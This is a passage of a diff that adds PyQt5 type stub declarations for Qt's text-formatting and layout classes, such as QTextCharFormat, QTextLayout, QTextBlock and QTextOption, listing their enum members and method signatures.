ObjectTypes(int): + NoObject = ... # type: QTextFormat.ObjectTypes + ImageObject = ... # type: QTextFormat.ObjectTypes + TableObject = ... # type: QTextFormat.ObjectTypes + TableCellObject = ... # type: QTextFormat.ObjectTypes + UserObject = ... # type: QTextFormat.ObjectTypes + + class FormatType(int): + InvalidFormat = ... # type: QTextFormat.FormatType + BlockFormat = ... # type: QTextFormat.FormatType + CharFormat = ... # type: QTextFormat.FormatType + ListFormat = ... # type: QTextFormat.FormatType + TableFormat = ... # type: QTextFormat.FormatType + FrameFormat = ... # type: QTextFormat.FormatType + UserFormat = ... # type: QTextFormat.FormatType + + class PageBreakFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextFormat.PageBreakFlags', 'QTextFormat.PageBreakFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextFormat.PageBreakFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextFormat.PageBreakFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, type: int) -> None: ... + @typing.overload + def __init__(self, rhs: 'QTextFormat') -> None: ... + @typing.overload + def __init__(self, variant: typing.Any) -> None: ... + + def isEmpty(self) -> bool: ... + def swap(self, other: 'QTextFormat') -> None: ... + def toTableCellFormat(self) -> 'QTextTableCellFormat': ... + def isTableCellFormat(self) -> bool: ... + def propertyCount(self) -> int: ... + def setObjectType(self, atype: int) -> None: ... + def clearForeground(self) -> None: ... + def foreground(self) -> QBrush: ... + def setForeground(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def clearBackground(self) -> None: ... + def background(self) -> QBrush: ... + def setBackground(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def layoutDirection(self) -> QtCore.Qt.LayoutDirection: ... + def setLayoutDirection(self, direction: QtCore.Qt.LayoutDirection) -> None: ... + def toImageFormat(self) -> 'QTextImageFormat': ... + def toFrameFormat(self) -> 'QTextFrameFormat': ... + def toTableFormat(self) -> 'QTextTableFormat': ... + def toListFormat(self) -> 'QTextListFormat': ... + def toCharFormat(self) -> 'QTextCharFormat': ... + def toBlockFormat(self) -> 'QTextBlockFormat': ... + def isTableFormat(self) -> bool: ... + def isImageFormat(self) -> bool: ... + def isFrameFormat(self) -> bool: ... + def isListFormat(self) -> bool: ... + def isBlockFormat(self) -> bool: ... + def isCharFormat(self) -> bool: ... + def objectType(self) -> int: ... + def properties(self) -> typing.Dict[int, typing.Any]: ... + def lengthVectorProperty(self, propertyId: int) -> typing.List[QTextLength]: ... + def lengthProperty(self, propertyId: int) -> QTextLength: ... + def brushProperty(self, propertyId: int) -> QBrush: ... + def penProperty(self, propertyId: int) -> QPen: ... + def colorProperty(self, propertyId: int) -> QColor: ... + def stringProperty(self, propertyId: int) -> str: ... + def doubleProperty(self, propertyId: int) -> float: ... + def intProperty(self, propertyId: int) -> int: ... + def boolProperty(self, propertyId: int) -> bool: ... + def hasProperty(self, propertyId: int) -> bool: ... + def clearProperty(self, propertyId: int) -> None: ... + @typing.overload + def setProperty(self, propertyId: int, value: typing.Any) -> None: ... + @typing.overload + def setProperty(self, propertyId: int, lengths: typing.Iterable[QTextLength]) -> None: ... + def property(self, propertyId: int) -> typing.Any: ... + def setObjectIndex(self, object: int) -> None: ... + def objectIndex(self) -> int: ... + def type(self) -> int: ... + def isValid(self) -> bool: ... + def merge(self, other: 'QTextFormat') -> None: ... + + +class QTextCharFormat(QTextFormat): + + class FontPropertiesInheritanceBehavior(int): + FontPropertiesSpecifiedOnly = ... # type: QTextCharFormat.FontPropertiesInheritanceBehavior + FontPropertiesAll = ... # type: QTextCharFormat.FontPropertiesInheritanceBehavior + + class UnderlineStyle(int): + NoUnderline = ... # type: QTextCharFormat.UnderlineStyle + SingleUnderline = ... # type: QTextCharFormat.UnderlineStyle + DashUnderline = ... # type: QTextCharFormat.UnderlineStyle + DotLine = ... # type: QTextCharFormat.UnderlineStyle + DashDotLine = ... # type: QTextCharFormat.UnderlineStyle + DashDotDotLine = ... # type: QTextCharFormat.UnderlineStyle + WaveUnderline = ... # type: QTextCharFormat.UnderlineStyle + SpellCheckUnderline = ... # type: QTextCharFormat.UnderlineStyle + + class VerticalAlignment(int): + AlignNormal = ... # type: QTextCharFormat.VerticalAlignment + AlignSuperScript = ... # type: QTextCharFormat.VerticalAlignment + AlignSubScript = ... # type: QTextCharFormat.VerticalAlignment + AlignMiddle = ... # type: QTextCharFormat.VerticalAlignment + AlignTop = ... # type: QTextCharFormat.VerticalAlignment + AlignBottom = ... # type: QTextCharFormat.VerticalAlignment + AlignBaseline = ... # type: QTextCharFormat.VerticalAlignment + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextCharFormat') -> None: ... + + def fontStyleName(self) -> typing.Any: ... + def setFontStyleName(self, styleName: str) -> None: ... + def fontFamilies(self) -> typing.Any: ... + def setFontFamilies(self, families: typing.Iterable[str]) -> None: ... + def fontLetterSpacingType(self) -> QFont.SpacingType: ... + def setFontLetterSpacingType(self, letterSpacingType: QFont.SpacingType) -> None: ... + def setFontStretch(self, factor: int) -> None: ... + def fontStretch(self) -> int: ... + def fontHintingPreference(self) -> QFont.HintingPreference: ... + def setFontHintingPreference(self, hintingPreference: QFont.HintingPreference) -> None: ... + def fontKerning(self) -> bool: ... + def setFontKerning(self, enable: bool) -> None: ... + def fontStyleStrategy(self) -> QFont.StyleStrategy: ... + def fontStyleHint(self) -> QFont.StyleHint: ... + def setFontStyleStrategy(self, strategy: QFont.StyleStrategy) -> None: ... + def setFontStyleHint(self, hint: QFont.StyleHint, strategy: QFont.StyleStrategy = ...) -> None: ... + def fontWordSpacing(self) -> float: ... + def setFontWordSpacing(self, spacing: float) -> None: ... + def fontLetterSpacing(self) -> float: ... + def setFontLetterSpacing(self, spacing: float) -> None: ... + def fontCapitalization(self) -> QFont.Capitalization: ... + def setFontCapitalization(self, capitalization: QFont.Capitalization) -> None: ... + def anchorNames(self) -> typing.List[str]: ... + def setAnchorNames(self, names: typing.Iterable[str]) -> None: ... + def toolTip(self) -> str: ... + def setToolTip(self, tip: str) -> None: ... + def underlineStyle(self) -> 'QTextCharFormat.UnderlineStyle': ... + def setUnderlineStyle(self, style: 'QTextCharFormat.UnderlineStyle') -> None: ... + def textOutline(self) -> QPen: ... + def setTextOutline(self, pen: typing.Union[QPen, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def setTableCellColumnSpan(self, atableCellColumnSpan: int) -> None: ... + def setTableCellRowSpan(self, atableCellRowSpan: int) -> None: ... + def tableCellColumnSpan(self) -> int: ... + def tableCellRowSpan(self) -> int: ... + def anchorHref(self) -> str: ... + def setAnchorHref(self, value: str) -> None: ... + def isAnchor(self) -> bool: ... + def setAnchor(self, anchor: bool) -> None: ... + def verticalAlignment(self) -> 'QTextCharFormat.VerticalAlignment': ... + def setVerticalAlignment(self, alignment: 'QTextCharFormat.VerticalAlignment') -> None: ... + def fontFixedPitch(self) -> bool: ... + def setFontFixedPitch(self, fixedPitch: bool) -> None: ... + def underlineColor(self) -> QColor: ... + def setUnderlineColor(self, color: typing.Union[QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def fontStrikeOut(self) -> bool: ... + def setFontStrikeOut(self, strikeOut: bool) -> None: ... + def fontOverline(self) -> bool: ... + def setFontOverline(self, overline: bool) -> None: ... + def fontUnderline(self) -> bool: ... + def setFontUnderline(self, underline: bool) -> None: ... + def fontItalic(self) -> bool: ... + def setFontItalic(self, italic: bool) -> None: ... + def fontWeight(self) -> int: ... + def setFontWeight(self, weight: int) -> None: ... + def fontPointSize(self) -> float: ... + def setFontPointSize(self, size: float) -> None: ... + def fontFamily(self) -> str: ... + def setFontFamily(self, family: str) -> None: ... + def font(self) -> QFont: ... + @typing.overload + def setFont(self, font: QFont) -> None: ... + @typing.overload + def setFont(self, font: QFont, behavior: 'QTextCharFormat.FontPropertiesInheritanceBehavior') -> None: ... + def isValid(self) -> bool: ... + + +class QTextBlockFormat(QTextFormat): + + class MarkerType(int): + NoMarker = ... # type: QTextBlockFormat.MarkerType + Unchecked = ... # type: QTextBlockFormat.MarkerType + Checked = ... # type: QTextBlockFormat.MarkerType + + class LineHeightTypes(int): + SingleHeight = ... # type: QTextBlockFormat.LineHeightTypes + ProportionalHeight = ... # type: QTextBlockFormat.LineHeightTypes + FixedHeight = ... # type: QTextBlockFormat.LineHeightTypes + MinimumHeight = ... # type: QTextBlockFormat.LineHeightTypes + LineDistanceHeight = ... # type: QTextBlockFormat.LineHeightTypes + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextBlockFormat') -> None: ... + + def marker(self) -> 'QTextBlockFormat.MarkerType': ... + def setMarker(self, marker: 'QTextBlockFormat.MarkerType') -> None: ... + def headingLevel(self) -> int: ... + def setHeadingLevel(self, alevel: int) -> None: ... + def lineHeightType(self) -> int: ... + @typing.overload + def lineHeight(self) -> float: ... + @typing.overload + def lineHeight(self, scriptLineHeight: float, scaling: float = ...) -> float: ... + def setLineHeight(self, height: float, heightType: int) -> None: ... + def tabPositions(self) -> typing.List['QTextOption.Tab']: ... + def setTabPositions(self, tabs: typing.Iterable['QTextOption.Tab']) -> None: ... + def pageBreakPolicy(self) -> QTextFormat.PageBreakFlags: ... + def setPageBreakPolicy(self, flags: typing.Union[QTextFormat.PageBreakFlags, QTextFormat.PageBreakFlag]) -> None: ... + def setIndent(self, aindent: int) -> None: ... + def setAlignment(self, aalignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def nonBreakableLines(self) -> bool: ... + def setNonBreakableLines(self, b: bool) -> None: ... + def indent(self) -> int: ... + def textIndent(self) -> float: ... + def setTextIndent(self, margin: float) -> None: ... + def rightMargin(self) -> float: ... + def setRightMargin(self, margin: float) -> None: ... + def leftMargin(self) -> float: ... + def setLeftMargin(self, margin: float) -> None: ... + def bottomMargin(self) -> float: ... + def setBottomMargin(self, margin: float) -> None: ... + def topMargin(self) -> float: ... + def setTopMargin(self, margin: float) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def isValid(self) -> bool: ... + + +class QTextListFormat(QTextFormat): + + class Style(int): + ListDisc = ... # type: QTextListFormat.Style + ListCircle = ... # type: QTextListFormat.Style + ListSquare = ... # type: QTextListFormat.Style + ListDecimal = ... # type: QTextListFormat.Style + ListLowerAlpha = ... # type: QTextListFormat.Style + ListUpperAlpha = ... # type: QTextListFormat.Style + ListLowerRoman = ... # type: QTextListFormat.Style + ListUpperRoman = ... # type: QTextListFormat.Style + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextListFormat') -> None: ... + + def setNumberSuffix(self, ns: str) -> None: ... + def setNumberPrefix(self, np: str) -> None: ... + def numberSuffix(self) -> str: ... + def numberPrefix(self) -> str: ... + def setIndent(self, aindent: int) -> None: ... + def setStyle(self, astyle: 'QTextListFormat.Style') -> None: ... + def indent(self) -> int: ... + def style(self) -> 'QTextListFormat.Style': ... + def isValid(self) -> bool: ... + + +class QTextImageFormat(QTextCharFormat): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextImageFormat') -> None: ... + + def setQuality(self, quality: int = ...) -> None: ... + def setHeight(self, aheight: float) -> None: ... + def setWidth(self, awidth: float) -> None: ... + def setName(self, aname: str) -> None: ... + def quality(self) -> int: ... + def height(self) -> float: ... + def width(self) -> float: ... + def name(self) -> str: ... + def isValid(self) -> bool: ... + + +class QTextFrameFormat(QTextFormat): + + class BorderStyle(int): + BorderStyle_None = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Dotted = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Dashed = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Solid = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Double = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_DotDash = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_DotDotDash = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Groove = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Ridge = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Inset = ... # type: QTextFrameFormat.BorderStyle + BorderStyle_Outset = ... # type: QTextFrameFormat.BorderStyle + + class Position(int): + InFlow = ... # type: QTextFrameFormat.Position + FloatLeft = ... # type: QTextFrameFormat.Position + FloatRight = ... # type: QTextFrameFormat.Position + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextFrameFormat') -> None: ... + + def setRightMargin(self, amargin: float) -> None: ... + def setLeftMargin(self, amargin: float) -> None: ... + def setBottomMargin(self, amargin: float) -> None: ... + def setTopMargin(self, amargin: float) -> None: ... + def rightMargin(self) -> float: ... + def leftMargin(self) -> float: ... + def bottomMargin(self) -> float: ... + def topMargin(self) -> float: ... + def borderStyle(self) -> 'QTextFrameFormat.BorderStyle': ... + def setBorderStyle(self, style: 'QTextFrameFormat.BorderStyle') -> None: ... + def borderBrush(self) -> QBrush: ... + def setBorderBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def pageBreakPolicy(self) -> QTextFormat.PageBreakFlags: ... + def setPageBreakPolicy(self, flags: typing.Union[QTextFormat.PageBreakFlags, QTextFormat.PageBreakFlag]) -> None: ... + @typing.overload + def setHeight(self, aheight: float) -> None: ... + @typing.overload + def setHeight(self, aheight: QTextLength) -> None: ... + def setPadding(self, apadding: float) -> None: ... + def setMargin(self, amargin: float) -> None: ... + def setBorder(self, aborder: float) -> None: ... + def height(self) -> QTextLength: ... + def width(self) -> QTextLength: ... + @typing.overload + def setWidth(self, length: QTextLength) -> None: ... + @typing.overload + def setWidth(self, awidth: float) -> None: ... + def padding(self) -> float: ... + def margin(self) -> float: ... + def border(self) -> float: ... + def position(self) -> 'QTextFrameFormat.Position': ... + def setPosition(self, f: 'QTextFrameFormat.Position') -> None: ... + def isValid(self) -> bool: ... + + +class QTextTableFormat(QTextFrameFormat): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextTableFormat') -> None: ... + + def borderCollapse(self) -> bool: ... + def setBorderCollapse(self, borderCollapse: bool) -> None: ... + def headerRowCount(self) -> int: ... + def setHeaderRowCount(self, count: int) -> None: ... + def setAlignment(self, aalignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def setCellPadding(self, apadding: float) -> None: ... + def setColumns(self, acolumns: int) -> None: ... + def alignment(self) -> QtCore.Qt.Alignment: ... + def cellPadding(self) -> float: ... + def setCellSpacing(self, spacing: float) -> None: ... + def cellSpacing(self) -> float: ... + def clearColumnWidthConstraints(self) -> None: ... + def columnWidthConstraints(self) -> typing.List[QTextLength]: ... + def setColumnWidthConstraints(self, constraints: typing.Iterable[QTextLength]) -> None: ... + def columns(self) -> int: ... + def isValid(self) -> bool: ... + + +class QTextTableCellFormat(QTextCharFormat): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextTableCellFormat') -> None: ... + + def setBorderBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def rightBorderBrush(self) -> QBrush: ... + def setRightBorderBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def leftBorderBrush(self) -> QBrush: ... + def setLeftBorderBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def bottomBorderBrush(self) -> QBrush: ... + def setBottomBorderBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def topBorderBrush(self) -> QBrush: ... + def setTopBorderBrush(self, brush: typing.Union[QBrush, QColor, QtCore.Qt.GlobalColor, QGradient]) -> None: ... + def setBorderStyle(self, style: QTextFrameFormat.BorderStyle) -> None: ... + def rightBorderStyle(self) -> QTextFrameFormat.BorderStyle: ... + def setRightBorderStyle(self, style: QTextFrameFormat.BorderStyle) -> None: ... + def leftBorderStyle(self) -> QTextFrameFormat.BorderStyle: ... + def setLeftBorderStyle(self, style: QTextFrameFormat.BorderStyle) -> None: ... + def bottomBorderStyle(self) -> QTextFrameFormat.BorderStyle: ... + def setBottomBorderStyle(self, style: QTextFrameFormat.BorderStyle) -> None: ... + def topBorderStyle(self) -> QTextFrameFormat.BorderStyle: ... + def setTopBorderStyle(self, style: QTextFrameFormat.BorderStyle) -> None: ... + def setBorder(self, width: float) -> None: ... + def rightBorder(self) -> float: ... + def setRightBorder(self, width: float) -> None: ... + def leftBorder(self) -> float: ... + def setLeftBorder(self, width: float) -> None: ... + def bottomBorder(self) -> float: ... + def setBottomBorder(self, width: float) -> None: ... + def topBorder(self) -> float: ... + def setTopBorder(self, width: float) -> None: ... + def setPadding(self, padding: float) -> None: ... + def rightPadding(self) -> float: ... + def setRightPadding(self, padding: float) -> None: ... + def leftPadding(self) -> float: ... + def setLeftPadding(self, padding: float) -> None: ... + def bottomPadding(self) -> float: ... + def setBottomPadding(self, padding: float) -> None: ... + def topPadding(self) -> float: ... + def setTopPadding(self, padding: float) -> None: ... + def isValid(self) -> bool: ... + + +class QTextInlineObject(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextInlineObject') -> None: ... + + def format(self) -> QTextFormat: ... + def formatIndex(self) -> int: ... + def textPosition(self) -> int: ... + def setDescent(self, d: float) -> None: ... + def setAscent(self, a: float) -> None: ... + def setWidth(self, w: float) -> None: ... + def textDirection(self) -> QtCore.Qt.LayoutDirection: ... + def height(self) -> float: ... + def descent(self) -> float: ... + def ascent(self) -> float: ... + def width(self) -> float: ... + def rect(self) -> QtCore.QRectF: ... + def isValid(self) -> bool: ... + + +class QTextLayout(sip.simplewrapper): + + class CursorMode(int): + SkipCharacters = ... # type: QTextLayout.CursorMode + SkipWords = ... # type: QTextLayout.CursorMode + + class FormatRange(sip.simplewrapper): + + format = ... # type: QTextCharFormat + length = ... # type: int + start = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextLayout.FormatRange') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, text: str) -> None: ... + @typing.overload + def __init__(self, text: str, font: QFont, paintDevice: typing.Optional[QPaintDevice] = ...) -> None: ... + @typing.overload + def __init__(self, b: 'QTextBlock') -> None: ... + + def clearFormats(self) -> None: ... + def formats(self) -> typing.List['QTextLayout.FormatRange']: ... + def setFormats(self, overrides: typing.Iterable['QTextLayout.FormatRange']) -> None: ... + def glyphRuns(self, from_: int = ..., length: int = ...) -> typing.List[QGlyphRun]: ... + def rightCursorPosition(self, oldPos: int) -> int: ... + def leftCursorPosition(self, oldPos: int) -> int: ... + def cursorMoveStyle(self) -> QtCore.Qt.CursorMoveStyle: ... + def setCursorMoveStyle(self, style: QtCore.Qt.CursorMoveStyle) -> None: ... + def clearLayout(self) -> None: ... + def maximumWidth(self) -> float: ... + def minimumWidth(self) -> float: ... + def boundingRect(self) -> QtCore.QRectF: ... + def setPosition(self, p: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + def position(self) -> QtCore.QPointF: ... + @typing.overload + def drawCursor(self, p: QPainter, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], cursorPosition: int) -> None: ... + @typing.overload + def drawCursor(self, p: QPainter, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], cursorPosition: int, width: int) -> None: ... + def draw(self, p: QPainter, pos: typing.Union[QtCore.QPointF, QtCore.QPoint], selections: typing.Iterable['QTextLayout.FormatRange'] = ..., clip: QtCore.QRectF = ...) -> None: ... + def previousCursorPosition(self, oldPos: int, mode: 'QTextLayout.CursorMode' = ...) -> int: ... + def nextCursorPosition(self, oldPos: int, mode: 'QTextLayout.CursorMode' = ...) -> int: ... + def isValidCursorPosition(self, pos: int) -> bool: ... + def lineForTextPosition(self, pos: int) -> 'QTextLine': ... + def lineAt(self, i: int) -> 'QTextLine': ... + def lineCount(self) -> int: ... + def createLine(self) -> 'QTextLine': ... + def endLayout(self) -> None: ... + def beginLayout(self) -> None: ... + def cacheEnabled(self) -> bool: ... + def setCacheEnabled(self, enable: bool) -> None: ... + def clearAdditionalFormats(self) -> None: ... + def additionalFormats(self) -> typing.List['QTextLayout.FormatRange']: ... + def setAdditionalFormats(self, overrides: typing.Iterable['QTextLayout.FormatRange']) -> None: ... + def preeditAreaText(self) -> str: ... + def preeditAreaPosition(self) -> int: ... + def setPreeditArea(self, position: int, text: str) -> None: ... + def textOption(self) -> 'QTextOption': ... + def setTextOption(self, option: 'QTextOption') -> None: ... + def text(self) -> str: ... + def setText(self, string: str) -> None: ... + def font(self) -> QFont: ... + def setFont(self, f: QFont) -> None: ... + + +class QTextLine(sip.simplewrapper): + + class CursorPosition(int): + CursorBetweenCharacters = ... # type: QTextLine.CursorPosition + CursorOnCharacter = ... # type: QTextLine.CursorPosition + + class Edge(int): + Leading = ... # type: QTextLine.Edge + Trailing = ... # type: QTextLine.Edge + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextLine') -> None: ... + + def glyphRuns(self, from_: int = ..., length: int = ...) -> typing.List[QGlyphRun]: ... + def horizontalAdvance(self) -> float: ... + def leadingIncluded(self) -> bool: ... + def setLeadingIncluded(self, included: bool) -> None: ... + def leading(self) -> float: ... + def position(self) -> QtCore.QPointF: ... + def draw(self, painter: QPainter, position: typing.Union[QtCore.QPointF, QtCore.QPoint], selection: typing.Optional[QTextLayout.FormatRange] = ...) -> None: ... + def lineNumber(self) -> int: ... + def textLength(self) -> int: ... + def textStart(self) -> int: ... + def setPosition(self, pos: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> None: ... + @typing.overload + def setNumColumns(self, columns: int) -> None: ... + @typing.overload + def setNumColumns(self, columns: int, alignmentWidth: float) -> None: ... + def setLineWidth(self, width: float) -> None: ... + def xToCursor(self, x: float, edge: 'QTextLine.CursorPosition' = ...) -> int: ... + def cursorToX(self, cursorPos: int, edge: 'QTextLine.Edge' = ...) -> typing.Tuple[float, int]: ... + def naturalTextRect(self) -> QtCore.QRectF: ... + def naturalTextWidth(self) -> float: ... + def height(self) -> float: ... + def descent(self) -> float: ... + def ascent(self) -> float: ... + def width(self) -> float: ... + def y(self) -> float: ... + def x(self) -> float: ... + def rect(self) -> QtCore.QRectF: ... + def isValid(self) -> bool: ... + + +class QTextObject(QtCore.QObject): + + def __init__(self, doc: QTextDocument) -> None: ... + + def objectIndex(self) -> int: ... + def document(self) -> QTextDocument: ... + def formatIndex(self) -> int: ... + def format(self) -> QTextFormat: ... + def setFormat(self, format: QTextFormat) -> None: ... + + +class QTextBlockGroup(QTextObject): + + def __init__(self, doc: QTextDocument) -> None: ... + + def blockList(self) -> typing.List['QTextBlock']: ... + def blockFormatChanged(self, block: 'QTextBlock') -> None: ... + def blockRemoved(self, block: 'QTextBlock') -> None: ... + def blockInserted(self, block: 'QTextBlock') -> None: ... + + +class QTextList(QTextBlockGroup): + + def __init__(self, doc: QTextDocument) -> None: ... + + def setFormat(self, aformat: QTextListFormat) -> None: ... + def format(self) -> QTextListFormat: ... + def add(self, block: 'QTextBlock') -> None: ... + def remove(self, a0: 'QTextBlock') -> None: ... + def removeItem(self, i: int) -> None: ... + def itemText(self, a0: 'QTextBlock') -> str: ... + def itemNumber(self, a0: 'QTextBlock') -> int: ... + def item(self, i: int) -> 'QTextBlock': ... + def __len__(self) -> int: ... + def count(self) -> int: ... + + +class QTextFrame(QTextObject): + + class iterator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, o: 'QTextFrame.iterator') -> None: ... + + def atEnd(self) -> bool: ... + def currentBlock(self) -> 'QTextBlock': ... + def currentFrame(self) -> 'QTextFrame': ... + def parentFrame(self) -> 'QTextFrame': ... + + def __init__(self, doc: QTextDocument) -> None: ... + + def setFrameFormat(self, aformat: QTextFrameFormat) -> None: ... + def end(self) -> 'QTextFrame.iterator': ... + def begin(self) -> 'QTextFrame.iterator': ... + def parentFrame(self) -> 'QTextFrame': ... + def childFrames(self) -> typing.List['QTextFrame']: ... + def lastPosition(self) -> int: ... + def firstPosition(self) -> int: ... + def lastCursorPosition(self) -> QTextCursor: ... + def firstCursorPosition(self) -> QTextCursor: ... + def frameFormat(self) -> QTextFrameFormat: ... + + +class QTextBlock(PyQt5.sip.wrapper): + + class iterator(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, o: 'QTextBlock.iterator') -> None: ... + + def atEnd(self) -> bool: ... + def fragment(self) -> 'QTextFragment': ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, o: 'QTextBlock') -> None: ... + + def textFormats(self) -> typing.List[QTextLayout.FormatRange]: ... + def textDirection(self) -> QtCore.Qt.LayoutDirection: ... + def lineCount(self) -> int: ... + def setLineCount(self, count: int) -> None: ... + def firstLineNumber(self) -> int: ... + def blockNumber(self) -> int: ... + def setVisible(self, visible: bool) -> None: ... + def isVisible(self) -> bool: ... + def setRevision(self, rev: int) -> None: ... + def revision(self) -> int: ... + def clearLayout(self) -> None: ... + def setUserState(self, state: int) -> None: ... + def userState(self) -> int: ... + def setUserData(self, data: 'QTextBlockUserData') -> None: ... + def userData(self) -> 'QTextBlockUserData': ... + def previous(self) -> 'QTextBlock': ... + def next(self) -> 'QTextBlock': ... + def end(self) -> 'QTextBlock.iterator': ... + def begin(self) -> 'QTextBlock.iterator': ... + def textList(self) -> QTextList: ... + def document(self) -> QTextDocument: ... + def text(self) -> str: ... + def charFormatIndex(self) -> int: ... + def charFormat(self) -> QTextCharFormat: ... + def blockFormatIndex(self) -> int: ... + def blockFormat(self) -> QTextBlockFormat: ... + def layout(self) -> QTextLayout: ... + def contains(self, position: int) -> bool: ... + def length(self) -> int: ... + def position(self) -> int: ... + def isValid(self) -> bool: ... + + +class QTextFragment(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, o: 'QTextFragment') -> None: ... + + def glyphRuns(self, from_: int = ..., length: int = ...) -> typing.List[QGlyphRun]: ... + def text(self) -> str: ... + def charFormatIndex(self) -> int: ... + def charFormat(self) -> QTextCharFormat: ... + def contains(self, position: int) -> bool: ... + def length(self) -> int: ... + def position(self) -> int: ... + def isValid(self) -> bool: ... + + +class QTextBlockUserData(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextBlockUserData') -> None: ... + + +class QTextOption(sip.simplewrapper): + + class TabType(int): + LeftTab = ... # type: QTextOption.TabType + RightTab = ... # type: QTextOption.TabType + CenterTab = ... # type: QTextOption.TabType + DelimiterTab = ... # type: QTextOption.TabType + + class Flag(int): + IncludeTrailingSpaces = ... # type: QTextOption.Flag + ShowTabsAndSpaces = ... # type: QTextOption.Flag + ShowLineAndParagraphSeparators = ... # type: QTextOption.Flag + AddSpaceForLineAndParagraphSeparators = ... # type: QTextOption.Flag + SuppressColors = ... # type: QTextOption.Flag + ShowDocumentTerminator = ... # type: QTextOption.Flag + + class WrapMode(int): + NoWrap = ... # type: QTextOption.WrapMode + WordWrap = ... # type: QTextOption.WrapMode + ManualWrap = ... # type: QTextOption.WrapMode + WrapAnywhere = ... # type: QTextOption.WrapMode + WrapAtWordBoundaryOrAnywhere = ... # type: QTextOption.WrapMode + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QTextOption.Flags', 'QTextOption.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextOption.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QTextOption.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class Tab(sip.simplewrapper): + + delimiter = ... # type: str + position = ... # type: float + type = ... # type: 'QTextOption.TabType' + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pos: float, tabType: 'QTextOption.TabType', delim: str = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QTextOption.Tab') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, alignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + @typing.overload + def __init__(self, o: 'QTextOption') -> None: ... + + def tabStopDistance(self) -> float: ... + def setTabStopDistance(self, tabStopDistance: float) -> None: ... + def tabs(self) -> typing.List['QTextOption.Tab']: ... + def setTabs(self, tabStops: typing.Iterable['QTextOption.Tab']) -> None: ... + def setTabStop(self, atabStop: float) -> None: ... + def setFlags(self, flags: typing.Union['QTextOption.Flags', 'QTextOption.Flag']) -> None: ... + def setAlignment(self, aalignment: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag]) -> None: ... + def useDesignMetrics(self) -> bool: ... + def setUseDesignMetrics(self, b: bool) -> None: ... + def tabArray(self) -> typing.List[float]: ... + def setTabArray(self, tabStops: typing.Iterable[float]) -> None: ... + def tabStop(self) -> float: ... + def flags(self) -> 'QTextOption.Flags': ... + def wrapMode(self) -> 'QTextOption.WrapMode': ... + def setWrapMode(self, wrap: 'QTextOption.WrapMode') -> None: ... + def textDirection(self) -> QtCore.Qt.LayoutDirection: ... + def setTextDirection(self, 